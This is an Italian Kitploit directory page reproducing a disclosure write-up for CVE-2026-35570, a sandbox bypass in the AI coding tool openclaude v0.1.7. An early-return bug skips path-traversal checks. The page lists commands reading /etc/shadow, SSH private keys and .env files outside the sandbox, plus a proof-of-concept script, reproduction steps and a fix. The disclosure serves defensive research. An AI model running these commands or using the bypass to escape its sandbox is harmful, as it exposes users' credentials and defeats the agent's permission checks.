Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-35570 — # Analisi dettagliata e proof-of-concept per CVE-2026-35570, un bypass della sandbox in openclaude v0.1.7 che consente il path traversal per leggere e scrivere file arbitrari al di fuori della sandbox. | Kitploit
Strumenti/GitHubGitHub/rickidevs/cve-2026-35570
Analisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza Web
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# Analisi dettagliata e proof-of-concept per CVE-2026-35570, un bypass della sandbox in openclaude v0.1.7 che consente il path traversal per leggere e scrivere file arbitrari al di fuori della sandbox.

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Uscire dalla Sandbox: Come ho Trovato un Bypass Critico di Path Traversal in openclaude

CVE-2026-35570 | CVSS 8.4 (Alto) | openclaude v0.1.7


Non ogni vulnerabilità richiede una sofisticata catena di exploit. A volte una singola istruzione return fuori posto è sufficiente per aprire un varco direttamente nel tuo modello di sicurezza. È esattamente ciò che è CVE-2026-35570.

Questo write-up riguarda un bypass della sandbox che ho trovato in openclaude v0.1.7 — un difetto logico che permette ai payload di path traversal di superare indisturbati il layer di isolamento del filesystem senza essere mai controllati.


Come L'ho Trovato

Stavo esaminando bashPermissions.ts quando qualcosa nel flusso di controllo ha attirato la mia attenzione. La logica delle autorizzazioni sembrava ragionevole a prima vista — se siamo in una sandbox, auto-consenti il comando; altrimenti, chiedi all'utente. Abbastanza pulito.

Ma una domanda continuava a tormentarmi: dove avviene effettivamente il controllo dei vincoli di percorso?

Ho tracciato bashToolHasPermission() dall'inizio alla fine e ho mappato il percorso di esecuzione:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] Blocco auto-consenso sandbox
    │       └─ Nessuna regola di rifiuto trovata → return ALLOW  ⚠️ Uscita anticipata
    │
    └─ [~1644] checkPathConstraints()              ❌ Mai raggiunto

Il blocco sandbox era stato costruito per saltare i prompt di autorizzazione interattivi negli ambienti sandbox. Totalmente ragionevole. Il problema è che quando restituisce ALLOW, la funzione esce proprio lì. checkPathConstraints() — la cosa effettivamente responsabile di intercettare il path traversal — non viene mai eseguita.


Cosa Sta Realmente Accadendo

All'interno di bashToolHasPermission(), il blocco di auto-consenso della sandbox segue questa logica:

  1. La sandbox è abilitata? → Sì
  2. L'auto-consenso è abilitato? → Sì
  3. Esiste una regola di rifiuto esplicita per questa sessione? → No
  4. → Restituisci ALLOW ed esci dalla funzione

A quel punto, checkPathConstraints() viene completamente bypassato. Il filtro di path traversal non ha la possibilità di fare nulla.

Dal punto di vista di un attaccante, ciò significa che comandi come questi passano direttamente:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

Tutti restituiscono behavior: allow. Nessun prompt. Nessun blocco. Niente.


Impatto

Tre cose diventano possibili quando questo difetto è presente:

Letture arbitrarie di file. Qualsiasi cosa al di fuori del confine della sandbox è un bersaglio legittimo — /etc/passwd, /etc/shadow, chiavi private SSH, file .env. Finché i permessi a livello di sistema operativo lo consentono, il file può essere letto.

Scritture arbitrarie di file. La stessa logica si applica al contrario. Un attaccante può scrivere su percorsi al di fuori della sandbox, il che apre la porta alla sovrascrittura di file di configurazione o al rilascio di contenuti in posizioni inaspettate.

Fallimento completo dell'isolamento della sandbox. L'intero scopo della sandbox è imporre i confini del filesystem. Con questo bug presente, quella garanzia non significa nulla.

CVSS v3.1: 8.4 (Alto) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


La Correzione

La correzione è concettualmente semplice. Il blocco di auto-consenso della sandbox dovrebbe sopprimere i prompt interattivi — tutto qui. Non dovrebbe mai cortocircuitare l'intera pipeline di autorizzazioni.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // Restituisci anticipatamente solo per deny o ask — non saltare mai i controlli di percorso su allow
    return sandboxResult;
  }

  // Se allow, prosegui fino a checkPathConstraints qui sotto
}

// Il controllo di path traversal deve essere sempre eseguito
return checkPathConstraints(input, appState.toolPermissionContext);

La regola pratica qui è: l'auto-consenso della sandbox salta il prompt, non i controlli di sicurezza.


Versioni Interessate

CampoDettaglio
Pacchettoopenclaude
Versione interessatav0.1.7
Versione correttaNessuna
CVECVE-2026-35570
CVSS8.4 (Alto)

Prova di Concetto

Requisiti

  • Node.js >= 18
  • openclaude v0.1.7

Passo 1 — Clona e installa

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

Passo 2 — Abilita la modalità sandbox

Avvia openclaude con i flag sandbox e auto-consenso impostati:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

I nomi delle variabili potrebbero differire leggermente. Controlla la classe SandboxManager per confermare le esatte corrispondenze delle variabili d'ambiente per la tua build.

Passo 3 — Esegui lo script di test

Salva quanto segue come poc.ts nella root del progetto:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// Imposta le condizioni della sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// Payload con path traversal
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Result:', result.behavior);
// Atteso:  "deny"   — il path traversal dovrebbe essere bloccato
// Reale:   "allow"  ← vulnerabilità confermata

Poi eseguilo:

root@kitploit:~
npx ts-node poc.ts

Passo 4 — Osserva l'output

Vedrai:

root@kitploit:~
Result: allow

checkPathConstraints() non è mai stata chiamata. Per confermarlo tu stesso, inserisci una riga di log in bashPermissions.ts:

root@kitploit:~
// Intorno alla riga 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints was called'); // Questo non verrà mai stampato
  // ...
}

Esegui di nuovo lo script. Il log non apparirà — la funzione viene realmente saltata.

Passo 5 — Riproduci nell'interfaccia reale

Apri openclaude in una sessione sandbox e invia il seguente comando:

root@kitploit:~
cat ../../../../../etc/passwd

Viene eseguito senza alcun prompt o blocco di autorizzazione, e scarica direttamente il contenuto di /etc/passwd.


CVE-2026-35570

Scarica lo strumento